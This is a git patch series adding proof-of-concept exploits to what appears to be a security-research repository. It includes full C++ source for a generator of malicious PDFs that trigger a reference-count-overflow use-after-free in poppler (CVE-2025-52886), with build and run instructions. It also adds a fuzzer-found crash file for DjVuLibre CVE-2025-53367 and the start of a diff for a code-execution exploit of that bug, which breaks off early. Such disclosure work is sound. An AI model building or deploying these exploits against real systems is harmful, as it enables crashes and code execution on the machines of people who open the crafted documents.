From 7a9c6b07f4bcdabf5028aa454dabafb8d60268d0 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 2 Jul 2025 12:09:47 +0100 Subject: [PATCH 01/18] PoC for poppler CVE-2025-52886 --- .../poppler-CVE-2025-52886/.gitignore | 1 + .../poppler-CVE-2025-52886/Makefile | 2 + .../poppler-CVE-2025-52886/README.md | 25 + .../poppler-CVE-2025-52886/pdfgen.cpp | 626 ++++++++++++++++++ .../poppler-CVE-2025-52886/utils.cpp | 147 ++++ .../poppler-CVE-2025-52886/utils.h | 74 +++ 6 files changed, 875 insertions(+) create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore new file mode 100644 index 0000000..a8ff98c --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore @@ -0,0 +1 @@ +pdfgen diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile new file mode 100644 index 0000000..989e543 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile @@ -0,0 +1,2 @@ +pdfgen: pdfgen.cpp utils.cpp utils.h + g++ -Wall -Wextra -g -O0 pdfgen.cpp utils.cpp -lz -o pdfgen diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md new file mode 100644 index 0000000..0f480bb --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md @@ -0,0 +1,25 @@ +# Proof of concept for poppler CVE-2025-52886 + +CVE-2025-52886 is a use-after-free vulnerability in +[poppler](https://gitlab.freedesktop.org/poppler), caused by a +reference count overflow. Reference counting was done with a 32-bit +counter, which meant it was feasible to overflow the counter. In my +testing, it took approximately 12 hours to overflow the counter +though, so the risk of exploitation was low. + +This directory contains the code for building the proof-of-concept. To +run it: + +```bash +make +./pdfgen > poc.pdf +``` + +Notice that the size of the generated PDF is only 3104 bytes. Now try +to either open the PDF or run a command line application like +`pdftohtml` on it. + +## Links: + +* https://gitlab.freedesktop.org/poppler/poppler/-/issues/1581 +* https://securitylab.github.com/advisories/GHSL-2025-054_poppler/ diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp new file mode 100644 index 0000000..34514db --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp @@ -0,0 +1,626 @@ +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Exception class. Caught in main(). +class Error : public std::exception { + std::string msg_; + +public: + Error() = delete; // No default constructor. + explicit Error(const char *msg) : msg_(msg) {} + explicit Error(std::string &&msg) : msg_(std::move(msg)) {} + + const char *what() const noexcept override { return msg_.c_str(); } +}; + +void write_hexdigit(WriteBuf &buf, const uint8_t x) { + if (x < 10) { + buf.write_uint8('0' + x); + } else if (x < 16) { + buf.write_uint8('A' + x - 10); + } else { + throw Error("Bad hex digit"); + } +} + +void write_octal_uint8(WriteBuf &buf, const uint8_t x) { + write_hexdigit(buf, x >> 6); + write_hexdigit(buf, (x >> 3) & 0x7); + write_hexdigit(buf, x & 0x7); +} + +void write_hex_uint8(WriteBuf &buf, const uint8_t x) { + write_hexdigit(buf, x >> 6); + write_hexdigit(buf, (x >> 3) & 0x7); + write_hexdigit(buf, x & 0x7); +} + +void write_stringobj(WriteBuf &buf, const std::string &str) { + buf.write_string("("); + for (auto c : str) { + if (isprint(c)) { + buf.write_uint8(c); + } else { + buf.write_uint8('\\'); + write_octal_uint8(buf, static_cast(c)); + } + } + buf.write_string(")"); +} + +void write_nameobj(WriteBuf &buf, const std::string &str) { + buf.write_string("/"); + for (auto c : str) { + if (isprint(c)) { + buf.write_uint8(c); + } else { + buf.write_uint8('#'); + write_octal_uint8(buf, static_cast(c)); + } + } + buf.write_string(" "); +} + +void write_intobj(WriteBuf &buf, int i) { + char str[32]; + snprintf(str, sizeof(str), "%d ", i); + buf.write_string(str); +} + +void write_numobj(WriteBuf &buf, double d) { + char str[64]; + snprintf(str, sizeof(str), "%f ", d); + buf.write_string(str); +} + +void write_command(WriteBuf &buf, const std::string &cmd) { + buf.write_string(cmd.c_str()); + buf.write_string("\n"); +} + +class PDF { +public: + PDF() {} + virtual ~PDF() {} + + virtual void write(WriteBuf &buf) const = 0; +}; + +typedef std::unique_ptr PDFptr; +typedef std::vector PDFvec; + +// Utility for reading the current file offset. +class PDF_ReadPreOffset : public PDF { + const std::function f_; + const PDFptr child_; + +public: + PDF_ReadPreOffset(std::function &&f, PDFptr &&child) + : f_(std::move(f)), child_(std::move(child)) {} + + static std::unique_ptr mk(std::function &&f, + PDFptr &&child) { + return std::make_unique(std::move(f), std::move(child)); + } + + void write(WriteBuf &buf) const override { + f_(buf.offset()); + child_->write(buf); + } +}; + +// Utility for reading the current file offset. +class PDF_ReadPostOffset : public PDF { + const std::function f_; + const PDFptr child_; + +public: + PDF_ReadPostOffset(std::function &&f, PDFptr &&child) + : f_(std::move(f)), child_(std::move(child)) {} + + static std::unique_ptr mk(std::function &&f, + PDFptr &&child) { + return std::make_unique(std::move(f), std::move(child)); + } + + void write(WriteBuf &buf) const override { + child_->write(buf); + f_(buf.offset()); + } +}; + +class PDF_Int : public PDF { + const int i_; + +public: + explicit PDF_Int(int i) : i_(i) {} + + static std::unique_ptr mk(int i) { + return std::make_unique(i); + } + + void write(WriteBuf &buf) const override { write_intobj(buf, i_); } +}; + +// Like PDF_Int, except with padded output so that the number of +// characters is always the same. This is useful for integer values +// that aren't known until the second pass. +class PDF_IntF : public PDF { + const int i_; + const int w_; + +public: + explicit PDF_IntF(int i, int w) : i_(i), w_(w) {} + + static std::unique_ptr mk(int i, int w = 10) { + return std::make_unique(i, w); + } + + void write(WriteBuf &buf) const override { + char str[32]; + assert(0 <= w_ && w_ < static_cast(sizeof(str))); + snprintf(str, sizeof(str), "%*d", w_, i_); + buf.write_bytes((const uint8_t *)str, w_); + buf.write_string("\n"); + } +}; + +class PDF_Num : public PDF { + const double d_; + +public: + explicit PDF_Num(double d) : d_(d) {} + + static std::unique_ptr mk(double d) { + return std::make_unique(d); + } + + void write(WriteBuf &buf) const override { write_numobj(buf, d_); } +}; + +class PDF_Ref : public PDF { + const int num_; + const int gen_; + +public: + PDF_Ref(int num, int gen) : num_(num), gen_(gen) {} + + static std::unique_ptr mk(int num, int gen) { + return std::make_unique(num, gen); + } + + void write(WriteBuf &buf) const override { + write_intobj(buf, num_); + write_intobj(buf, gen_); + buf.write_string("R "); + } +}; + +class PDF_Cmd : public PDF { + const std::string cmd_; + +public: + explicit PDF_Cmd(std::string &&cmd) : cmd_(std::move(cmd)) {} + + static std::unique_ptr mk(std::string &&cmd) { + return std::make_unique(std::move(cmd)); + } + + void write(WriteBuf &buf) const override { write_command(buf, cmd_); } +}; + +class PDF_Name : public PDF { + const std::string name_; + +public: + explicit PDF_Name(std::string &&name) : name_(std::move(name)) {} + + static std::unique_ptr mk(std::string &&name) { + return std::make_unique(std::move(name)); + } + + void write(WriteBuf &buf) const override { write_nameobj(buf, name_); } +}; + +class PDF_String : public PDF { + const std::string str_; + +public: + explicit PDF_String(std::string &&str) : str_(std::move(str)) {} + + static std::unique_ptr mk(std::string &&str) { + return std::make_unique(std::move(str)); + } + + void write(WriteBuf &buf) const override { write_stringobj(buf, str_); } +}; + +class PDF_Comment : public PDF { + const std::string comment_; + +public: + explicit PDF_Comment(std::string &&comment) : comment_(std::move(comment)) {} + + static std::unique_ptr mk(std::string &&comment) { + return std::make_unique(std::move(comment)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("%"); + buf.write_string(comment_.c_str()); + buf.write_string("\n"); + } +}; + +class PDF_Seq : public PDF { + const PDFvec seq_; + +public: + explicit PDF_Seq(std::vector> &&seq) + : seq_(std::move(seq)) {} + + static std::unique_ptr mk(PDFvec &&seq) { + return std::make_unique(std::move(seq)); + } + + void write(WriteBuf &buf) const override { + for (auto &x : seq_) { + x->write(buf); + } + } +}; + +class PDF_Array : public PDF { + const PDFvec array_; + +public: + explicit PDF_Array(std::vector> &&array) + : array_(std::move(array)) {} + + static std::unique_ptr mk(PDFvec &&array) { + return std::make_unique(std::move(array)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("[ "); + for (auto &x : array_) { + x->write(buf); + } + buf.write_string("] "); + } +}; + +// key-value pair for a dict. +struct PDF_KV { + std::string key_; + PDFptr value_; + + PDF_KV(std::string &&key, PDFptr &&value) + : key_(std::move(key)), value_(std::move(value)) {} +}; + +class PDF_Dict : public PDF { + const std::vector dict_; + +public: + explicit PDF_Dict(std::vector &&dict) : dict_(std::move(dict)) {} + + static std::unique_ptr mk(std::vector &&dict) { + return std::make_unique(std::move(dict)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("<< "); + for (auto &kv : dict_) { + write_nameobj(buf, kv.key_); + kv.value_->write(buf); + } + buf.write_string(">> "); + } +}; + +class PDF_Stream : public PDF { + const std::vector stream_; + +public: + explicit PDF_Stream(const std::string &str) + : stream_(str.begin(), str.end()) {} + + explicit PDF_Stream(std::vector &&stream) + : stream_(std::move(stream)) {} + + static std::unique_ptr mk(const std::string &str) { + return std::make_unique(str); + } + + static std::unique_ptr mk(std::vector &&stream) { + return std::make_unique(std::move(stream)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("stream\n"); + buf.write_bytes(stream_.data(), stream_.size()); + buf.write_string(" endstream\n"); + } +}; + +struct OffsetsTable { + size_t filesize_ = 0; + size_t startbody_ = 0; + size_t startxref_ = 0; + + size_t ref001_ = 0; + size_t ref002_ = 0; + size_t ref003_ = 0; + size_t ref004_ = 0; + size_t ref005_ = 0; + size_t ref006_ = 0; + + size_t stream000_start_ = 0; + size_t stream000_end_ = 0; +}; + +static const size_t XRefEntrySize = sizeof(uint32_t) + 2 * sizeof(uint64_t); + +static void writeXRefEntry(uint8_t *entry, uint32_t type, uint64_t offset, + uint64_t gen) { + *(uint32_t *)entry = htobe32(type); + entry += sizeof(type); + *(uint64_t *)entry = htobe64(offset); + entry += sizeof(offset); + *(uint64_t *)entry = htobe64(gen); +} + +static PDFptr mkAnnotOverflow(const OffsetsTable &offsets) { + const int first0 = 0; + const int len0 = 7; + const int first1 = static_cast(offsets.ref005_); + const int len1 = 1; + const int numEntries = len0 + len1; + const int streamsize = numEntries * XRefEntrySize; + std::vector stream(streamsize); + uint8_t *streamdata = stream.data(); + + writeXRefEntry(streamdata, 1, 0, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref001_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref002_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref003_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref004_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 2, offsets.ref005_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref006_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref005_, 0); + + return PDF_Seq::mk(_vec( + PDF_Int::mk(1337), PDF_Int::mk(133713), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Size"), PDF_Int::mk(1337)), + PDF_KV(std::string("Length"), PDF_Int::mk(streamsize)), + PDF_KV(std::string("Prev"), + PDF_Int::mk(-1)), // link to next XRef table + PDF_KV(std::string("Root"), PDF_Ref::mk(1, 0)), + PDF_KV(std::string("Index"), + PDF_Array::mk(_vec( + PDF_IntF::mk(first0, 4), PDF_IntF::mk(len0, 3), + PDF_IntF::mk(first1, 4), PDF_IntF::mk(len1, 3)))), + PDF_KV(std::string("W"), + PDF_Array::mk(_vec(PDF_Int::mk(4), PDF_Int::mk(8), + PDF_Int::mk(8)))))), + PDF_Stream::mk(std::move(stream)))); +} + +static PDFptr mkContents(OffsetsTable &offsets) { + const int streamsize = + static_cast(offsets.stream000_end_ - offsets.stream000_start_); + return PDF_Seq::mk(_vec( + PDF_Dict::mk(_vec( + PDF_KV(std::string("Length"), PDF_IntF::mk(streamsize)))), + PDF_ReadPostOffset::mk( + [&offsets](size_t offset) { offsets.stream000_start_ = offset; }, + PDF_Cmd::mk("stream")), + PDF_Name::mk("kevstatearg"), PDF_Cmd::mk("gs"), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.stream000_end_ = offset; }, + PDF_Cmd::mk("endstream")))); +} + +static const int mkAnnotArray_first = 20; + +static std::vector mkAnnotArray_ObjectStream(size_t nElements, + size_t nLayers) { + std::vector txt(mkAnnotArray_first); + + PDFptr prologue = PDF_Seq::mk( + _vec(PDF_IntF::mk(5), PDF_Int::mk(mkAnnotArray_first))); + WriteBuf buf(txt.data(), mkAnnotArray_first); + prologue->write(buf); + while (buf.offset() < mkAnnotArray_first) { + buf.write_string(" "); + } + + char reftxt[6] = {'6', ' ', '0', ' ', 'R', ' '}; + + const size_t offset = txt.size(); + txt.resize(offset + nElements * sizeof(reftxt) + 2); + uint8_t *p = txt.data() + offset; + *p++ = '['; + for (size_t i = 0; i < nElements; i++) { + memcpy(p, reftxt, sizeof(reftxt)); + p += sizeof(reftxt); + } + *p++ = ']'; + + for (size_t i = 0; i < nLayers; i++) { + std::vector tmp; + compress(tmp, txt); + txt = std::move(tmp); + } + + return txt; +} + +static PDFptr mkAnnots() { + static const std::vector annots_txt( + mkAnnotArray_ObjectStream(0x1000000, 2)); + std::vector txt = annots_txt; + const int streamsize = static_cast(txt.size()); + return PDF_Seq::mk(_vec( + PDF_Dict::mk(_vec( + PDF_KV(std::string("N"), PDF_IntF::mk(1)), + PDF_KV(std::string("First"), PDF_Int::mk(mkAnnotArray_first)), + PDF_KV(std::string("Length"), PDF_Int::mk(streamsize)), + PDF_KV(std::string("Filter"), + PDF_Array::mk(_vec(PDF_Name::mk("FlateDecode"), + PDF_Name::mk("FlateDecode")))))), + PDF_Stream::mk(std::move(txt)))); +} + +static PDFptr mkBody(OffsetsTable &offsets) { + const int numKids = 256; + std::vector kids; + for (size_t i = 0; i < numKids; i++) { + kids.push_back(PDF_Ref::mk(3, 0)); + } + return PDF_Seq::mk(_vec( + // root + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref001_ = offset; }, + PDF_Int::mk(1)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Pages"), PDF_Ref::mk(2, 0)), + PDF_KV(std::string("AcroForm"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Fields"), + PDF_Array::mk(_vec(PDF_Ref::mk(6, 0)))))) + + ), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Length"), PDF_Int::mk(1337)))), + // pages + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref002_ = offset; }, + PDF_Int::mk(2)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Pages"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Count"), PDF_Int::mk(1))))), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Count"), PDF_Int::mk(numKids)), + PDF_KV(std::string("Kids"), PDF_Array::mk(std::move(kids))), + PDF_KV(std::string("Length"), PDF_Int::mk(1337)))), + // kid + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref003_ = offset; }, + PDF_Int::mk(3)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk( + _vec(PDF_KV(std::string("Type"), PDF_Name::mk("Page")), + PDF_KV(std::string("Contents"), PDF_Ref::mk(4, 0)), + PDF_KV(std::string("Annots"), PDF_Ref::mk(5, 0)), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Count"), PDF_Int::mk(1)))), + // contents + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref004_ = offset; }, + PDF_Int::mk(4)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), mkContents(offsets), + // annots + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref005_ = offset; }, + PDF_IntF::mk(static_cast(offsets.ref005_))), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), mkAnnots(), + // widget + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref006_ = offset; }, + PDF_IntF::mk(6)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Subtype"), PDF_Name::mk("Widget")), + PDF_KV(std::string("DV"), PDF_String::mk("kevwozere001")), + PDF_KV(std::string("V"), PDF_String::mk("kevwozere002")), + PDF_KV(std::string("Ff"), PDF_Int::mk(0xDEADBEEF)), + PDF_KV(std::string("MaxLen"), PDF_Int::mk(0xDEADBEEF)), + PDF_KV(std::string("F"), PDF_Int::mk(2)), // Annot::flagHidden + PDF_KV(std::string("Rect"), + PDF_Array::mk(_vec(PDF_Int::mk(2), PDF_Int::mk(3), + PDF_Int::mk(4), PDF_Int::mk(5)))), + PDF_KV(std::string("FT"), PDF_Name::mk("Tx")))))); +} + +static PDFptr mkXRef(const OffsetsTable &offsets) { + return mkAnnotOverflow(offsets); +} + +static PDFptr mkPDF(OffsetsTable &offsets) { + return PDF_Seq::mk(_vec( + PDF_Comment::mk("PDF-1.7"), PDF_Int::mk(4), PDF_Int::mk(0), + PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Linearized"), PDF_Int::mk(-1)), + PDF_KV(std::string("L"), + PDF_IntF::mk(static_cast(offsets.filesize_))), + PDF_KV(std::string("T"), PDF_Int::mk(1000000)))), + PDF_Cmd::mk("endobj"), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.startbody_ = offset; }, + mkBody(offsets)), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.startxref_ = offset; }, + mkXRef(offsets)), + PDF_Cmd::mk("startxref"), + PDF_IntF::mk(static_cast(offsets.startxref_)), + PDF_ReadPostOffset::mk( + [&offsets](size_t offset) { offsets.filesize_ = offset; }, + PDF_Comment::mk("%EOF")))); +} + +int main() { + try { + std::vector rawbuf(0x10000); + + OffsetsTable offsets; + + WriteBuf buf(rawbuf.data(), rawbuf.size()); + + offsets.ref005_ = 100; + // Two passes. The first pass calculates the values of filesize and + // startxref. + PDFptr pdf = mkPDF(offsets); + pdf->write(buf); + + const size_t oldfilesize = buf.offset(); + buf.reset(); + + pdf = mkPDF(offsets); + pdf->write(buf); + if (oldfilesize != buf.offset()) { + throw Error("filesize changed on second pass"); + } + + buf.write_to_fd(STDOUT_FILENO); + + return EXIT_SUCCESS; + } catch (Error &e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } +} diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp new file mode 100644 index 0000000..5de68bd --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp @@ -0,0 +1,147 @@ +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include + +// Write a uint8_t to starting address &buf[pos]. +size_t WriteBuf::write_uint8_at(size_t pos, uint8_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint8_t)); + buf_[pos++] = x; + return pos; +} + +// Write a uint16_t to starting address &buf_[pos] (in big endian +// order). +size_t WriteBuf::write_uint16_at(size_t pos, uint16_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint16_t)); + buf_[pos++] = (x >> 8) & 0xFF; + buf_[pos++] = x & 0xFF; + return pos; +} + +// Write a uint32_t to starting address &buf_[pos] (in big endian +// order). +size_t WriteBuf::write_uint32_at(size_t pos, uint32_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint32_t)); + buf_[pos++] = (x >> 24) & 0xFF; + buf_[pos++] = (x >> 16) & 0xFF; + buf_[pos++] = (x >> 8) & 0xFF; + buf_[pos++] = x & 0xFF; + return pos; +} + +// Write a block of bytes to starting address &buf_[pos]. +size_t WriteBuf::write_many_at(size_t pos, uint8_t x, size_t n) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + memset(&buf_[pos], x, n); + pos += n; + return pos; +} + +// Write a string to starting address &buf_[pos]. +size_t WriteBuf::write_bytes_at(size_t pos, const uint8_t *bytes, size_t n) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + memcpy(&buf_[pos], bytes, n); + pos += n; + return pos; +} + +// Write a uint8_t to starting address &buf[offset_]. +void WriteBuf::write_uint8(uint8_t x) { offset_ = write_uint8_at(offset_, x); } + +// Write a uint16_t to starting address &buf_[offset_] (in big endian +// order). +void WriteBuf::write_uint16(uint16_t x) { + offset_ = write_uint16_at(offset_, x); +} + +// Write a uint32_t to starting address &buf_[offset_] (in big endian +// order). +void WriteBuf::write_uint32(uint32_t x) { + offset_ = write_uint32_at(offset_, x); +} + +// Write a block of bytes to starting address &buf_[offset_]. +void WriteBuf::write_many(uint8_t x, size_t n) { + offset_ = write_many_at(offset_, x, n); +} + +// Write n bytes to starting address &buf_[offset_]. +void WriteBuf::write_bytes(const uint8_t *bytes, size_t n) { + offset_ = write_bytes_at(offset_, bytes, n); +} + +// Write a string to starting address &buf_[offset_]. +void WriteBuf::write_string(const char *str) { + write_bytes(reinterpret_cast(str), strlen(str)); +} + +size_t WriteBuf::offset() const { return offset_; } + +// Inserts an n-byte gap, so that the bytes can be written later. This is +// usually used for size or offset fields that need to be calculated +// later. +size_t WriteBuf::insert_gap(size_t n) { + const size_t pos = offset_; + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + offset_ = pos + n; + return pos; +} + +void WriteBuf::write_to_fd(int fd) { write(fd, buf_, offset_); } + +int compress(std::vector &output, std::vector &input) { + int ret; + z_stream strm; + + strm.zalloc = nullptr; + strm.zfree = nullptr; + strm.opaque = nullptr; + + ret = deflateInit(&strm, Z_BEST_COMPRESSION); + if (ret != Z_OK) + return ret; + + size_t input_pos = 0; + size_t output_pos = 0; + + strm.avail_in = input.size(); + strm.next_in = input.data(); + output.resize(0x10000); + + while (input_pos < input.size() || strm.avail_out == 0) { + assert(input_pos <= input.size()); + assert(output_pos <= output.size()); + if (output_pos == output.size()) { + output.resize(output.size() * 2); + } + + const size_t total_avail_in = input.size() - input_pos; + const size_t avail_in = std::min(0x10000, total_avail_in); + const int flush = avail_in < total_avail_in ? Z_NO_FLUSH : Z_FINISH; + strm.avail_in = avail_in; + strm.next_in = input.data() + input_pos; + strm.avail_out = output.size() - output_pos; + strm.next_out = output.data() + output_pos; + ret = deflate(&strm, flush); + assert(ret != Z_STREAM_ERROR); + output_pos = output.size() - strm.avail_out; + input_pos += avail_in - strm.avail_in; + } + assert(strm.avail_in == 0); + assert(ret == Z_STREAM_END); + output.resize(output.size() - strm.avail_out); + + (void)deflateEnd(&strm); + return Z_OK; +} diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h new file mode 100644 index 0000000..1e1b2a9 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h @@ -0,0 +1,74 @@ +#pragma once + +#include +#include +#include + +class WriteBuf { + uint8_t *buf_; + const size_t bufsize_; + size_t offset_ = 0; + +public: + WriteBuf(uint8_t *buf, size_t bufsize) : buf_(buf), bufsize_(bufsize) {} + + void reset() { offset_ = 0; } + + // Write a uint8_t to starting address &buf[pos]. + size_t write_uint8_at(size_t pos, uint8_t x); + + // Write a uint16_t to starting address &buf_[pos] (in big endian + // order). + size_t write_uint16_at(size_t pos, uint16_t x); + + // Write a uint32_t to starting address &buf_[pos] (in big endian + // order). + size_t write_uint32_at(size_t pos, uint32_t x); + + // Write a block of bytes to starting address &buf_[pos]. + size_t write_many_at(size_t pos, uint8_t x, size_t n); + + // Write a string to starting address &buf_[pos]. + size_t write_bytes_at(size_t pos, const uint8_t *bytes, size_t n); + + // Write a uint8_t to starting address &buf[offset_]. + void write_uint8(uint8_t x); + + // Write a uint16_t to starting address &buf_[offset_] (in big endian + // order). + void write_uint16(uint16_t x); + + // Write a uint32_t to starting address &buf_[offset_] (in big endian + // order). + void write_uint32(uint32_t x); + + // Write a block of bytes to starting address &buf_[offset_]. + void write_many(uint8_t x, size_t n); + + // Write n bytes to starting address &buf_[offset_]. + void write_bytes(const uint8_t *bytes, size_t n); + + // Write a string to starting address &buf_[offset_]. + void write_string(const char *str); + + size_t offset() const; + + // Inserts an n-byte gap, so that the bytes can be written later. This is + // usually used for size or offset fields that need to be calculated + // later. + size_t insert_gap(size_t n); + + void write_to_fd(int fd); +}; + +// Utility for constructing a std::vector. +template +std::vector::type> _vec(Ts &&...args) { + std::vector::type> result; + result.reserve(sizeof...(args)); + int bogus[] = {((void)result.emplace_back(std::forward(args)), 0)...}; + static_assert(sizeof(bogus) == sizeof(int) * sizeof...(args)); + return result; +} + +int compress(std::vector &output, std::vector &input); From b47dd28ccc2e588c23e0c038b5cbf944ee6b8b24 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 4 Jul 2025 21:04:45 +0100 Subject: [PATCH 02/18] Fuzzer-generated poc for DjVuLibre CVE-2025-53367 --- .../README.md | 16 ++++++++++++++++ .../fuzzer-poc.djvu | Bin 0 -> 272 bytes 2 files changed, 16 insertions(+) create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/fuzzer-poc.djvu diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md new file mode 100644 index 0000000..ee17e55 --- /dev/null +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md @@ -0,0 +1,16 @@ +# Proof of concept for DjVuLibre CVE-2025-53367 + +At this time, we are only sharing @antonio-morales's original +fuzzer-generated poc, so that people can quickly test whether they're +running a vulnerable version of DjVuLibre. This poc only causes the +DjVuLibre library to crash. We are delaying publication of our more +sophisticated poc, which is able to bypass ASLR and gain code +execution. + +[Fuzzer-generated poc file](./fuzzer-poc.djvu) + +## Links: + +* https://github.blog/security/vulnerability-research/cve-2025-53367-an-exploitable-out-of-bounds-write-in-djvulibre/ +* https://www.openwall.com/lists/oss-security/2025/07/03/1 +* https://securitylab.github.com/advisories/GHSL-2025-055_DjVuLibre/ \ No newline at end of file diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/fuzzer-poc.djvu b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/fuzzer-poc.djvu new file mode 100644 index 0000000000000000000000000000000000000000..e4b6b16a05666acc322cb364789eb2710b66d03b GIT binary patch literal 272 zcmZ?s5Aw}(O!Rf}3Jdl0bMt3lU{F~8|38q@*RTJtudi#brf;jKudi>duMbuiQIZy% zn_C1@=j$89z`&^Qhy;9**ySJqHBSh)d0}w#mZu3|wb#JJ-{n68lb#2}eGH5Y4F3P! zfDU&v3G(%GNc7bMaReOQLLx${d|f Date: Fri, 18 Jul 2025 15:36:22 +0100 Subject: [PATCH 03/18] Full poc for CVE-2025-53367 --- .../DjVuLibre-poc-CVE-2025-53367.diff | 1883 +++++++++++++++++ .../README.md | 60 +- .../noble.pdf | Bin 0 -> 82468 bytes .../plucky.pdf | Bin 0 -> 82469 bytes 4 files changed, 1936 insertions(+), 7 deletions(-) create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/plucky.pdf diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff new file mode 100644 index 0000000..44151b2 --- /dev/null +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff @@ -0,0 +1,1883 @@ +diff --git a/config/acinclude.m4 b/config/acinclude.m4 +index 19b7e6e..472cf07 100644 +--- a/config/acinclude.m4 ++++ b/config/acinclude.m4 +@@ -96,8 +96,8 @@ AC_DEFUN([AC_OPTIMIZE],[ + AC_REMOVE_OPTIONS([CXXFLAGS],[-g*]) + fi + defines="-DNDEBUG" +- 